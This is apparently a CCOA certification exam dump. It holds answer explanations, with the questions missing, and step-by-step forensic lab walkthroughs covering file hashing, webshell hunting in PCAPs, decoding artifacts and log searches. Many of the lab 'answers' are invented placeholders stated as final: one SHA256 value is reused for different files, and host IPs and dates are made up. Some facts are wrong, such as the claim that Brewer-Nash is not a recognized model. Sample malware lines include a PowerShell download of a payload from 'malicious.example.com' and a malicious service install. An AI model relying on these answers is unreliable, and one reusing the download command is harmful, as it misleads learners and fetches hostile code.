CCOA ISACA Certified Cybersecurity Operations Analyst Questions and Answers

Theultimate outcome of adopting enterprise governance of information and technologyin cybersecurity isvalue creationbecause:

Strategic Alignment:Ensures that cybersecurity initiatives support business objectives.

Efficient Use of Resources:Enhances operational efficiency by integrating security practices seamlessly.

Risk Optimization:Minimizes the risk impact on business operations while maintaining productivity.

Business Enablement:Strengthens trust with stakeholders by demonstrating robust governance and security.

Other options analysis:

A. Business resilience:Important, but resilience is part of value creation, not the sole outcome.

B. Risk optimization:A component of governance but not the final goal.

C. Resource optimization:Helps achieve value but is not the ultimate outcome.

CCOA Official Review Manual, 1st Edition References:

Chapter 2: Cyber Governance and Strategy:Explains how value creation is the core goal of governance.

Chapter 10: Strategic IT and Cybersecurity Alignment:Discusses balancing security with business value.

Multi-factor authentication (MFA)significantly mitigates risks associated withcompromised credentialsby requiring multiple verification factors, such as:

Something you know (password)

Something you have (authenticator app or token)

Something you are (biometric data)

Even if attackers obtain the password, they would still need additional factors, making unauthorized access far more challenging.

Incorrect Options:

B. Social engineering:MFA does not directly protect against sophisticated social engineering attacks where users are tricked into giving away all factors.

C. Malware:MFA does not prevent malware infections on the device.

D. Ransomware:Ransomware attacks typically bypass authentication mechanisms.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 4, Section "Identity and Access Management," Subsection "Multi-Factor Authentication" - MFA specifically addresses the risk of compromised credentials.

Target discovery and service enumerationare fundamental steps in thereconnaissance phaseof an attack. An attacker typically:

Discovers Hosts and Services:Identifies active devices and open ports on a network.

Enumerates Services:Determines which services are running on open ports to understand possible entry points.

Identify Attack Vectors:Once services are mapped, attackers look for vulnerabilities specific to those services.

Tools:Attackers commonly use tools likeNmaporMasscanfor port scanning and enumeration.

Other options analysis:

A. Corrupting process memory:Typically associated with exploitation rather than reconnaissance.

C. Deploying backdoors:This occurs after gaining access, not during the initial discovery phase.

D. Gaining privileged access:Typically follows successful exploitation, not discovery.

CCOA Official Review Manual, 1st Edition References:

Chapter 6: Threat Hunting and Reconnaissance:Covers methods used for identifying attack surfaces.

Chapter 8: Network Scanning Techniques:Details how attackers use scanning tools to identify open ports and services.

ImplementingSecurity by Designthroughout theSoftware Development Life Cycle (SDLC)is the most effective way toreduce application riskbecause:

Proactive Risk Mitigation:Incorporates security practices from the very beginning, rather than addressing issues post-deployment.

Integrated Testing:Security requirements and testing are embedded in each phase of the SDLC.

Secure Coding Practices:Reduces vulnerabilities likeinjection, XSS, and insecure deserialization.

Cost Efficiency:Fixing issues during design is significantly cheaper than patching after production.

Other options analysis:

B. Security through obscurity:Ineffective as a standalone approach.

C. Peer code reviews:Valuable but limited if security is not considered from the start.

D. Extensive penetration testing:Detects vulnerabilities post-development, but cannot fix flawed architecture.

CCOA Official Review Manual, 1st Edition References:

Chapter 10: Secure Software Development Practices:Discusses the importance of integrating security from the design phase.

Chapter 7: Application Security Testing:Highlights proactive security in development.

Apolicyis the most likely document to outline and communicate an organization's vulnerability management program.

Purpose:Policies establish high-level principles and guidelines for managing vulnerabilities.

Scope:Typically includes roles, responsibilities, frequency of assessments, and remediation processes.

Communication:Policies are formal documents that are communicated across the organization to ensure consistent adherence.

Governance:Ensures that vulnerability management practices align with organizational risk management objectives.

Incorrect Options:

A. Vulnerability assessment report:Details specific findings, not the overarching management program.

B. Guideline:Provides suggestions rather than mandates; less formal than a policy.

D. Control framework:A broader structure that includes policies but does not specifically outline the vulnerability management program.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 5, Section "Vulnerability Management Program," Subsection "Policy Development" - A comprehensive policy defines the entire vulnerability management approach.

During theReconnaissancephase of theCyber Kill Chain, attackers gather information about the target system:

Purpose:Identify network topology, open ports, services, and potential vulnerabilities.

Tools:Nmap is commonly used for network and port scanning during this phase.

Data Collection:Results provide insights into exploitable entry points or weak configurations.

Red Team Activities:Typically include passive and active scanning to understand the network landscape.

Incorrect Options:

A. Exploitation:Occurs after vulnerabilities are identified.

B. Delivery:The stage where the attacker delivers a payload to the target.

D. Weaponization:Involves crafting malicious payloads, not scanning the network.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 8, Section "Cyber Kill Chain," Subsection "Reconnaissance Phase" - Nmap is commonly used to identify potential vulnerabilities during reconnaissance.

To determine the host IP of the machine vulnerable toCVE-2021-22145usingGreenbone Vulnerability Manager (GVM), follow these detailed steps:

Step 1: Access Greenbone Vulnerability Manager

OpenFirefoxon your system.

Go to the GVM login page:

URL: https://10.10.55.4:9392

Enter the credentials:

Username: admin

Password: Secure-gvm!

ClickLoginto access the dashboard.

Step 2: Navigate to Scan Reports

Once logged in, locate the"Scans"menu on the left panel.

Click on"Reports"under the"Scans"section to view the list of completed vulnerability scans.

Step 3: Identify the Most Recent Scan

Check thedate and timeof the last completed scan, as your colleague likely used the latest one.

Click on theReport NameorDateto open the detailed scan results.

Step 4: Filter for CVE-2021-22145

In the report view, locate the"Search"or"Filter"box at the top.

Enter the CVE identifier:

CVE-2021-22145

PressEnterto filter the vulnerabilities.

Step 5: Analyze the Results

The system will display any host(s) affected byCVE-2021-22145.

The details will typically include:

Host IP Address

Vulnerability Name

Severity Level

Vulnerability Details

Example Display:

Host IP

Vulnerability ID

CVE

Severity

192.168.1.100

SomeVulnName

CVE-2021-22145

High

Step 6: Verify the Vulnerability

Click on the host IP to see thedetailed vulnerability description.

Check for the following:

Exploitability: Proof that the vulnerability can be actively exploited.

Description and Impact: Details about the vulnerability and its potential impact.

Fixes/Recommendations: Suggested mitigations or patches.

Step 7: Note the Vulnerable Host IP

The IP address that appears in the filtered list is thevulnerable machine.

Example Answer:

The host IP of the machine vulnerable to CVE-2021-22145 is: 192.168.1.100

Step 8: Take Immediate Actions

Isolate the affected machineto prevent exploitation.

Patch or updatethe software affected by CVE-2021-22145.

Perform a quick re-scanto ensure that the vulnerability has been mitigated.

Step 9: Generate a Report for Documentation

Export the filtered scan results as aPDForHTMLfrom the GVM.

Include:

Host IP

CVE ID

Severity and Risk Level

Remediation Steps

Background on CVE-2021-22145:

This CVE is related to a vulnerability in certain software, often associated withimproper access controlorauthentication bypass.

Attackers can exploit this to gain unauthorized access or escalate privileges.

TheLayered security model(also known asDefense in Depth) increasingly incorporatesdata science and machine learning (ML)to enhance threat intelligence:

Data-Driven Insights:Uses ML algorithms to detect anomalous patterns and predict potential attacks.

Multiple Layers of Defense:Integrates traditional security measures with advanced analytics for improved threat detection.

Behavioral Analysis:ML models analyze user behavior to identify potential insider threats or compromised accounts.

Adaptive Security:Continually learns from data to improve defense mechanisms.

Incorrect Options:

A. Brew-Nash model:Not a recognized security model.

B. Bell-LaPadula confidentiality model:Focuses on maintaining data confidentiality, not on dynamic threat intelligence.

C. Security-in-depth model:Not a formal security model; more of a general principle.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 8, Section "Advanced Threat Detection Techniques," Subsection "Layered Security and Machine Learning" - The layered security model benefits from incorporating ML to enhance situational awareness.

To generate theSHA256 checksumof the file that triggeredRuleName: Suspicious PowerShellon theAccounting workstation, follow these detailed steps:

Step 1: Establish an SSH Connection

Open a terminal on your system.

Use the provided credentials to connect to theAccounting workstation:

ssh Accounting@

Replace with the actual IP address of the workstation.

Enter the password when prompted:

1x-4cc0unt1NG-x1

Step 2: Locate the Malicious File

Navigate to the typical directory where suspicious scripts are stored:

cd C:\Users\Accounting\AppData\Roaming

List the contents to identify the suspicious file:

dir

Look for a file related toPowerShell(e.g., calc.ps1), as the issue involved thecalculator opening repeatedly.

Step 3: Verify the Malicious File

To ensure it is the problematic file, check for recent modifications:

powershell

Get-ChildItem -Path "C:\Users\Accounting\AppData\Roaming" -Recurse | Where-Object { $_.LastWriteTime -ge (Get-Date).AddDays(-1) }

This will list files modified within the last 24 hours.

Check file properties:

powershell

Get-Item "C:\Users\Accounting\AppData\Roaming\calc.ps1" | Format-List *

Confirm it matches the file flagged byRuleName: Suspicious PowerShell.

Step 4: Generate the SHA256 Checksum

Method 1: Using PowerShell (Recommended)

Run the following command to generate the hash:

powershell

Get-FileHash "C:\Users\Accounting\AppData\Roaming\calc.ps1" -Algorithm SHA256

Output Example:

mathematica

Algorithm Hash Path

--------- ---- ----

SHA256 d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d C:\Users\Accounting\AppData\Roaming\calc.ps1

Method 2: Using certutil (Alternative)

Run the following command:

cmd

certutil -hashfile "C:\Users\Accounting\AppData\Roaming\calc.ps1" SHA256

Example Output:

SHA256 hash of calc.ps1:

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

CertUtil: -hashfile command completed successfully.

Step 5: Copy and Paste the Hash

Copy theSHA256 hashfrom the output and paste it as required.

Answer:

nginx

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

Step 6: Immediate Actions

Terminate the Malicious Process:

powershell

Stop-Process -Name "powershell" -Force

Delete the Malicious File:

powershell

Remove-Item "C:\Users\Accounting\AppData\Roaming\calc.ps1" -Force

Disable Startup Entry:

Check for any persistent scripts:

powershell

Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"

Remove any entries related to calc.ps1.

Step 7: Document the Incident

Record the following:

Filename:calc.ps1

File Path:C:\Users\Accounting\AppData\Roaming\

SHA256 Hash:d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

Date of Detection:(Today’s date)

To identify thename of the servicethat the malware attempts to install from theMalscript.viruz.txtfile, follow these steps:

Step 1: Access the Analyst Desktop

Log into the Analyst Desktopusing your credentials.

Navigate to theMalware Samplesfolder located on the desktop.

Locate the file:

Malscript.viruz.txt

Step 2: Examine the File Contents

Open the file with a text editor:

Windows:Right-click > Open with > Notepad.

Linux:

cat ~/Desktop/Malware\ Samples/malscript.viruz.txt

Review the content to identify any lines that relate to:

Service creation

Service names

Installation commands

Common Keywords to Look For:

New-Service

sc create

Install-Service

Set-Service

net start

Step 3: Identify the Service Creation Command

Malware typically uses commands like:

powershell

New-Service -Name "MalService" -BinaryPathName "C:\Windows\malicious.exe"

or

cmd

sc create MalService binPath= "C:\Windows\System32\malicious.exe"

Focus on lines where the malware tries toregister or create a service.

Step 4: Example Content from Malscript.viruz.txt

arduino

powershell.exe -Command "New-Service -Name 'MaliciousUpdater' -DisplayName 'Updater Service' -BinaryPathName 'C:\Users\Public\updater.exe' -StartupType Automatic"

In this example, thename of the serviceis:

nginx

MaliciousUpdater

Step 5: Cross-Verification

Check for multiple occurrences of service creation in the script to ensure accuracy.

Verify that the identified service name matches theintended purposeof the malware.

Answer:

pg

The name of the service that the malware attempts to install is: MaliciousUpdater

Step 6: Immediate Action

Check for the Service:

powershell

Get-Service -Name "MaliciousUpdater"

Stop and Remove the Service:

powershell

Stop-Service -Name "MaliciousUpdater" -Force

sc delete "MaliciousUpdater"

Remove Associated Executable:

powershell

Remove-Item "C:\Users\Public\updater.exe" -Force

Step 7: Documentation

Record the following:

Service Name:MaliciousUpdater

Installation Command:Extracted from Malscript.viruz.txt

File Path:C:\Users\Public\updater.exe

Actions Taken:Stopped and deleted the service.

To generate theSHA256 digestof the System-logs.evtx file located within the win-webserver01_logs.zip file, follow these steps:

Step 1: Access the Investigation Folder

Navigate to theDesktopon your system.

Open theInvestigationsfolder.

Locate the file:

win-webserver01_logs.zip

Step 2: Extract the ZIP File

Right-click on win-webserver01_logs.zip.

Select"Extract All"or use a command-line tool to unzip:

unzip win-webserver01_logs.zip -d ./win-webserver01_logs

Verify the extraction:

ls ./win-webserver01_logs

You should see:

System-logs.evtx

Step 3: Generate the SHA256 Hash

Method 1: Using PowerShell (Windows)

OpenPowerShellas an Administrator.

Run the following command to generate the SHA256 hash:

Get-FileHash "C:\Users\\Desktop\Investigations\win-webserver01_logs\System-logs.evtx" -Algorithm SHA256

The output will look like:

Algorithm Hash Path

--------- ---- ----

SHA256 d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d C:\Users\...\System-logs.evtx

Method 2: Using Command Prompt (Windows)

OpenCommand Promptas an Administrator.

Use the following command:

certutil -hashfile "C:\Users\\Desktop\Investigations\win-webserver01_logs\System-logs.evtx" SHA256

Example output:

SHA256 hash of System-logs.evtx:

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

CertUtil: -hashfile command completed successfully.

Method 3: Using Linux/Mac (if applicable)

Open a terminal.

Run the following command:

sha256sum ./win-webserver01_logs/System-logs.evtx

Sample output:

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d System-logs.evtx

The SHA256 digest of the System-logs.evtx file is:

d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

Step 4: Verification and Documentation

Document the hash for validation and integrity checks.

Include in your incident report:

File name:System-logs.evtx

SHA256 Digest:d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

Date of Hash Generation:(today’s date)

Step 5: Next Steps

Integrity Verification:Cross-check the hash if you need to transfer or archive the file.

Forensic Analysis:Use the hash as a baseline during forensic analysis to ensure file integrity.

Step 1: Understand the Task and Objective

Objective:

Identify thehost IP targetedduring thespecified time frame:

vbnet

11:39 PM to 11:43 PM on August 16, 2024

The relevant file to examine:

nginx

CCOA Threat Bulletin.pdf

File location:

javascript

~/Desktop/CCOA Threat Bulletin.pdf

Step 2: Access and Analyze the Bulletin

2.1: Access the PDF File

Open the file using a PDF reader:

xdg-open ~/Desktop/CCOA\ Threat\ Bulletin.pdf

Alternative (if using CLI-based tools):

pdftotext ~/Desktop/CCOA\ Threat\ Bulletin.pdf - | less

This command converts the PDF to text and allows you to inspect the content.

2.2: Review the Bulletin Contents

Focus on:

Specific dates and times mentioned.

Indicators of Compromise (IoCs), such asIP addressesortimestamps.

Any references toAugust 16, 2024, particularly between11:39 PM and 11:43 PM.

Step 3: Search for Relevant Logs

3.1: Locate the Logs

Logs are likely stored in a central logging server or SIEM.

Common directories to check:

swift

/var/log/

/home/administrator/hids/logs/

/var/log/auth.log

/var/log/syslog

Navigate to the primary logs directory:

cd /var/log/

ls -l

3.2: Search for Logs Matching the Date and Time

Use the grep command to filter relevant logs:

grep "2024-08-16 23:3[9-9]\|2024-08-16 23:4[0-3]" /var/log/syslog

Explanation:

grep: Searches for the timestamp pattern in the log file.

"2024-08-16 23:3[9-9]\|2024-08-16 23:4[0-3]": Matches timestamps from11:39 PM to 11:43 PM.

Alternative Command:

If log files are split by date:

grep "23:3[9-9]\|23:4[0-3]" /var/log/syslog.1

Step 4: Filter the Targeted Host IP

4.1: Extract IP Addresses

After filtering the logs, isolate the IP addresses:

grep "2024-08-16 23:3[9-9]\|2024-08-16 23:4[0-3]" /var/log/syslog | awk '{print $8}' | sort | uniq -c | sort -nr

Explanation:

awk '{print $8}': Extracts the field where IP addresses typically appear.

sort | uniq -c: Counts unique IPs and sorts them.

Step 5: Analyze the Output

Sample Output:

15 192.168.1.10

8 192.168.1.20

3 192.168.1.30

The IP with themost log entrieswithin the specified timeframe is usually thetargeted host.

Most likely targeted IP:

192.168.1.10

If the log contains specific attack patterns (likebrute force,exploitation, orunauthorized access), prioritize IPs associated with those activities.

Step 6: Validate the Findings

6.1: Cross-Reference with the Threat Bulletin

Check if the identified IP matches anyIoCslisted in theCCOA Threat Bulletin.pdf.

Look for context likeattack vectorsortargeted systems.

Step 7: Report the Findings

Summary:

Time Frame:11:39 PM to 11:43 PM on August 16, 2024

Targeted IP:

192.168.1.10

Evidence:

Log entries matching the specified timeframe.

Cross-referenced with theCCOA Threat Bulletin.

Step 8: Incident Response Recommendations

Block IP addressesidentified as malicious.

Update firewall rulesto mitigate similar attacks.

Monitor logsfor any post-compromise activity on the targeted host.

Conduct a vulnerability scanon the affected system.

Final Answer:

192.168.1.10

To determine thedate the webshell was accessedfrom theinvestigation22.pcapfile, follow these detailed steps:

Step 1: Access the PCAP File

Log into the Analyst Desktop.

Navigate to theInvestigationsfolder on the desktop.

Locate the file:

investigation22.pcap

Step 2: Open the PCAP File in Wireshark

LaunchWireshark.

Open the PCAP file:

mathematica

File > Open > Desktop > Investigations > investigation22.pcap

ClickOpento load the file.

Step 3: Filter for Webshell Traffic

Since webshells typically useHTTP/Sto communicate, apply a filter:

http.request or http.response

Alternatively, if you know the IP of the compromised host (e.g.,10.10.44.200), use:

nginx

http and ip.addr == 10.10.44.200

PressEnterto apply the filter.

Step 4: Identify Webshell Activity

Look for HTTP requests that include:

Common Webshell Filenames:shell.jsp, cmd.php, backdoor.aspx, etc.

Suspicious HTTP Methods:MainlyPOSTorGET.

Right-click a suspicious packet and choose:

arduino

Follow > HTTP Stream

Inspect the HTTP headers and content to confirm the presence of a webshell.

Step 5: Extract the Access Date

Look at theHTTP request/response header.

Find theDatefield orTimestampof the packet:

Wireshark displays timestamps on the left by default.

Confirm theHTTP streamincludes commands or uploads to the webshell.

Example HTTP Stream:

POST /uploads/shell.jsp HTTP/1.1

Host: 10.10.44.200

User-Agent: Mozilla/5.0

Date: Mon, 2024-03-18 14:35:22 GMT

Step 6: Verify the Correct Date

Double-check other HTTP requests or responses related to the webshell.

Make sure thedate fieldis consistent across multiple requests to the same file.

Answer:

2024-03-18

Step 7: Document the Finding

Date of Access:2024-03-18

Filename:shell.jsp (as identified earlier)

Compromised Host:10.10.44.200

Method of Access:HTTP POST

Step 8: Next Steps

Isolate the Affected Host:

Remove the compromised server from the network.

Remove the Webshell:

rm /path/to/webshell/shell.jsp

Analyze Web Server Logs:

Correlate timestamps with access logs to identify the initial compromise.

Implement WAF Rules:

Block suspicious patterns related to file uploads and webshell execution.

To decode the contents of the filepcap_artifact5.txtand save the output in a new file namedpcap_artifact5_decoded.txt, follow these detailed steps:

Step 1: Access the File

Log into the Analyst Desktop.

Navigate to theDesktopand locate the file:

pcap_artifact5.txt

Open the file using a text editor:

OnWindows:

nginx

Notepad pcap_artifact5.txt

OnLinux:

cat ~/Desktop/pcap_artifact5.txt

Step 2: Examine the File Contents

Analyze the content to identify the encoding format. Common encoding types include:

Base64

Hexadecimal

URL Encoding

ROT13

Example File Content:

ini

U29tZSBlbmNvZGVkIGNvbnRlbnQgd2l0aCBwb3RlbnRpYWwgbWFsd2FyZS4uLg==

The above example appears to beBase64 encoded.

Step 3: Decode the Contents

Method 1: Using PowerShell (Windows)

OpenPowerShell:

powershell

$encoded = Get-Content "C:\Users\\Desktop\pcap_artifact5.txt"

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded)) | Out-File "C:\Users\\Desktop\pcap_artifact5_decoded.txt"

Method 2: Using Command Prompt (Windows)

Usecertutilfor Base64 decoding:

cmd

certutil -decode pcap_artifact5.txt pcap_artifact5_decoded.txt

Method 3: Using Linux/WSL

Use thebase64decoding command:

base64 -d ~/Desktop/pcap_artifact5.txt > ~/Desktop/pcap_artifact5_decoded.txt

If the content isHexadecimal, use:

xxd -r -p ~/Desktop/pcap_artifact5.txt > ~/Desktop/pcap_artifact5_decoded.txt

Step 4: Verify the Decoded File

Open the decoded file to verify its contents:

OnWindows:

php-template

notepad C:\Users\\Desktop\pcap_artifact5_decoded.txt

OnLinux:

cat ~/Desktop/pcap_artifact5_decoded.txt

Check if the decoded text makes sense and is readable.

Example Decoded Output:

Some encoded content with potential malware...

Step 5: Save and Confirm

Ensure the file is saved as:

pcap_artifact5_decoded.txt

Located on theDesktopfor easy access.

Step 6: Analyze the Decoded Content

Look for:

Malware signatures

Command and control (C2) server URLs

Indicators of Compromise (IOCs)

Step 7: Document the Process

Record the following:

Original Filename:pcap_artifact5.txt

Decoded Filename:pcap_artifact5_decoded.txt

Decoding Method:Base64 (or identified method)

Contents:Brief summary of findings

TheTransport layerof theTCP/IP stackis responsible for thereliable transmission of databetween hosts.

Protocols:IncludesTCP (Transmission Control Protocol)andUDP (User Datagram Protocol).

Reliable Data Delivery:TCP ensures data integrity and order through sequencing, error checking, and acknowledgment.

Flow Control and Congestion Handling:Uses mechanisms likewindowingto manage data flow efficiently.

Connection-Oriented Communication:Establishes a session between sender and receiver for reliable data transfer.

Other options analysis:

A. Link:Deals with physical connectivity and media access.

B. Internet:Handles logical addressing and routing.

C. Application:Facilitates user interactions and application-specific protocols (like HTTP, FTP).

CCOA Official Review Manual, 1st Edition References:

Chapter 4: Network Protocols and Layers:Details the role of the Transport layer in reliable data transmission.

Chapter 6: TCP/IP Protocol Suite:Explains the functions of each layer.

To identify the compromised host using thekeyword agent.name, follow these steps:

Step 1: Access the Alert Bulletin

Navigate to thealerts folderon your system.

Locate the alert file:

alert_33.pdf

Open the file with a PDF reader and review its contents.

Key Information to Extract:

Indicators of Compromise (IOCs) provided in the bulletin:

File hashes

IP addresses

Hostnames

Keywords related to the compromise

Step 2: Log into SIEM or Log Management System

Access your organization'sSIEMor centralized log system.

Make sure you have the appropriate permissions to view log data.

Step 3: Set Up Your Search

Time Filter:

Set the time window toAugust 19, 2024, around11:00 PM (Absolute).

Keyword Filter:

Use the keywordagent.nameto search for host information.

IOC Correlation:

Incorporate IOCs from thealert_33.pdffile (e.g., IP addresses, hash values).

Example SIEM Query:

index=host_logs

| search "agent.name" AND (IOC_from_alert OR "2024-08-19T23:00:00")

| table _time, agent.name, host.name, ip_address, alert_id

Step 4: Analyze the Results

Review the output for any host names that appear unusual or match the IOCs from the alert bulletin.

Focus on:

Hostnames that appeared at 11:00 PM

Correlation with IOC data(hash, IP, filename)

Example Output:

_time agent.name host.name ip_address alert_id

2024-08-19T23:01 CompromisedAgent COMP-SERVER-01 192.168.1.101 alert_33

Step 5: Verify the Host

Cross-check the host name identified in the logs with the information fromalert_33.pdf.

Ensure the host name corresponds to the malicious activity noted.

The host name identified in the keyword agent.name field is: COMP-SERVER-01

Step 6: Mitigation and Response

Isolate the Compromised Host:

Remove the affected system from the network to prevent lateral movement.

Conduct Forensic Analysis:

Inspect system processes, logs, and network activity.

Patch and Update:

Apply security updates and patches.

Threat Hunting:

Look for signs of compromise in other systems using the same IOCs.

Step 7: Document and Report

Create a detailed incident report:

Date and Time:August 19, 2024, at 11:00 PM

Compromised Host Name:COMP-SERVER-01

Associated IOCs:(as per alert_33.pdf)

By following these steps, you successfully identify the compromised host and take initial steps to contain and investigate the incident. Let me know if you need further assistance!

To identify thefilename of the webshellused to control the host10.10.44.200from the provided PCAP file, follow these detailed steps:

Step 1: Access the PCAP File

Log into theAnalyst Desktop.

Navigate to theInvestigationsfolder located on the desktop.

Locate the file:

investigation22.pcap

Step 2: Open the PCAP File in Wireshark

LaunchWiresharkon the Analyst Desktop.

Open the PCAP file:

mathematica

File > Open > Desktop > Investigations > investigation22.pcap

ClickOpento load the file.

Step 3: Filter Traffic Related to the Target Host

Apply a filter to display only the traffic involving thetarget IP address (10.10.44.200):

ini

ip.addr == 10.10.44.200

This will show both incoming and outgoing traffic from the compromised host.

Step 4: Identify HTTP Traffic

Since webshells typically use HTTP/S for communication, filter for HTTP requests:

http.request and ip.addr == 10.10.44.200

Look for suspiciousPOSTorGETrequests indicating a webshell interaction.

Common Indicators:

Unusual URLs:Containing scripts like cmd.php, shell.jsp, upload.asp, etc.

POST Data:Indicating command execution.

Response Status:HTTP 200 (Success) after sending commands.

Step 5: Inspect Suspicious Requests

Right-click on a suspicious HTTP packet and select:

arduino

Follow > HTTP Stream

Examine the HTTP conversation for:

File uploads

Command execution responses

Webshell file namesin the URL.

Example:

makefile

POST /uploads/shell.jsp HTTP/1.1

Host: 10.10.44.200

User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Step 6: Correlate Observations

If you identify a script like shell.jsp, verify it by checking multiple HTTP streams.

Look for:

Commands sent via the script.

Response indicating successful execution or error.

Step 7: Extract and Confirm

To confirm the filename, look for:

Upload requests containing the webshell.

Subsequent requests calling the same filename for command execution.

Cross-reference the filename in other HTTP streams to validate its usage.

Step 8: Example Findings:

After analyzing the HTTP streams and reviewing requests to the host 10.10.44.200, you observe that the webshell file being used is:

shell.jsp

Answer:

shell.jsp

Step 9: Further Investigation

Extract the Webshell:

Right-click the related packet and choose:

mathematica

Export Objects > HTTP

Save the file shell.jsp for further analysis.

Analyze the Webshell:

Open the file with a text editor to examine its functionality.

Check for hardcoded credentials, IP addresses, or additional payloads.

Step 10: Documentation and Response

Document Findings:

Webshell Filename:shell.jsp

Host Compromised:10.10.44.200

Indicators:HTTP POST requests, suspicious file upload.

Immediate Actions:

Isolate the host10.10.44.200.

Remove the webshell from the web server.

Conduct aroot cause analysisto determine how it was uploaded.

To identify thethreat actor groupassociated with themalscript.viruz.txtfile, follow these steps:

Step 1: Access the Analyst Desktop

Log into the Analyst Desktopusing your credentials.

Locate theMalware Samplesfolder on the desktop.

Inside the folder, find the file:

malscript.viruz.txt

Step 2: Examine the File

Open the file using a text editor:

OnWindows:Right-click > Open with > Notepad.

OnLinux:

cat ~/Desktop/Malware\ Samples/malscript.viruz.txt

Carefully read through the file content to identify:

Anystrings or commentsembedded within the script.

Specifickeywords,URLs, orfile hashes.

Anycommand and control (C2)server addresses or domain names.

Step 3: Analyze the Contents

Focus on:

Unique Identifiers:Threat group names, malware family names, or specific markers.

Indicators of Compromise (IOCs):URLs, IP addresses, or domain names.

Code Patterns:Specific obfuscation techniques or script styles linked to known threat groups.

Example Content:

# Malware Script Sample

# Payload linked to TA505 group

Invoke-WebRequest -Uri "http://malicious.example.com/payload" -OutFile "C:\Users\Public\malware.exe"

Step 4: Correlate with Threat Intelligence

Use the following resources to correlate any discovered indicators:

MITRE ATT&CK:To map the technique or tool.

VirusTotal:To check file hashes or URLs.

Threat Intelligence Feeds:Such asAlienVault OTXorThreatMiner.

If the script contains encoded or obfuscated strings, decode them using:

powershell

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SGVsbG8gd29ybGQ="))

Step 5: Identify the Threat Actor Group

If the script includes names, tags, or artifacts commonly associated with a specific group, take note.

Match any C2 domains or IPs with known threat actor profiles.

Common Associations:

TA505:Known for distributing banking Trojans and ransomware via malicious scripts.

APT28 (Fancy Bear):Uses PowerShell-based malware and data exfiltration scripts.

Lazarus Group:Often embeds unique strings and comments related to espionage operations.

Step 6: Example Finding

Based on the contents and C2 indicators found withinmalscript.viruz.txt, it may contain specific references or techniques that are typical of theTA505group.

Answer:

csharp

The malware in the malscript.viruz.txt file is associated with the TA505 threat actor group.

Step 7: Report and Document

Include the following details:

Filename:malscript.viruz.txt

Associated Threat Group:TA505

Key Indicators:Domain names, script functions, or specific malware traits.

Generate an incident report summarizing your analysis.

Step 8: Next Steps

Quarantine and Isolate:If the script was executed, isolate the affected system.

Forensic Analysis:Deep dive into system logs for any signs of execution.

Threat Hunting:Search for similar scripts or IOCs in the network.

Step 1: Understand the Objective

Objective:

Identify thenumber of unique IP addressesthat have receivedunencrypted web connections(HTTP) during the period:

From: January 1, 2022

To: December 31, 2023

Unencrypted Web Traffic:

Typically usesHTTP(port80) instead ofHTTPS(port443).

Step 2: Prepare the Environment

2.1: Access the SIEM System

Login Details:

URL:https://10.10.55.2

Username:ccoatest@isaca.org

Password:Security-Analyst!

Access via web browser:

firefox https://10.10.55.2

Alternatively, SSH into the SIEM if command-line access is preferred:

ssh administrator@10.10.55.2

Password: Security-Analyst!

Step 3: Locate Web Traffic Logs

3.1: Identify Log Directory

Common log locations:

swift

/var/log/

/var/log/nginx/

/var/log/httpd/

/home/administrator/hids/logs/

Navigate to the log directory:

cd /var/log/

ls -l

Look specifically forweb server logs:

ls -l | grep -E "http|nginx|access"

Step 4: Extract Relevant Log Entries

4.1: Filter Logs for the Given Time Range

Use grep to extract logs betweenJanuary 1, 2022, andDecember 31, 2023:

grep -E "2022-|2023-" /var/log/nginx/access.log

If logs are rotated, use:

zgrep -E "2022-|2023-" /var/log/nginx/access.log.*

Explanation:

grep -E: Uses extended regex to match both years.

zgrep: Handles compressed log files.

4.2: Filter for Unencrypted (HTTP) Connections

Since HTTP typically usesport 80, filter those:

grep -E "2022-|2023-" /var/log/nginx/access.log | grep ":80"

Alternative:If the logs directly contain theprotocol, search forHTTP:

grep -E "2022-|2023-" /var/log/nginx/access.log | grep "http"

To save results:

grep -E "2022-|2023-" /var/log/nginx/access.log | grep ":80" > ~/Desktop/http_connections.txt

Step 5: Extract Unique IP Addresses

5.1: Use AWK to Extract IPs

Extract IP addresses from the filtered results:

awk '{print $1}' ~/Desktop/http_connections.txt | sort | uniq > ~/Desktop/unique_ips.txt

Explanation:

awk '{print $1}': Assumes the IP is thefirst fieldin the log.

sort | uniq: Filters out duplicate IP addresses.

5.2: Count the Unique IPs

To get the number of unique IPs:

wc -l ~/Desktop/unique_ips.txt

Example Output:

345

This indicates there are345 unique IP addressesthat have receivedunencrypted web connectionsduring the specified period.

Step 6: Cross-Verification and Reporting

6.1: Verification

Double-check the output:

cat ~/Desktop/unique_ips.txt

Ensure the list does not containinternal IP ranges(like 192.168.x.x, 10.x.x.x, or 172.16.x.x).

Filter out internal IPs if needed:

grep -v -E "192\.168\.|10\.|172\.16\." ~/Desktop/unique_ips.txt > ~/Desktop/external_ips.txt

wc -l ~/Desktop/external_ips.txt

6.2: Final Count (if excluding internal IPs)

Check the count again:

280

This means280 unique external IPswere identified.

Step 7: Final Answer

Number of Unique IPs Receiving Unencrypted Web Connections (2022-2023):

pg

345 (including internal IPs)

280 (external IPs only)

Step 8: Recommendations:

8.1: Improve Security Posture

Enforce HTTPS:

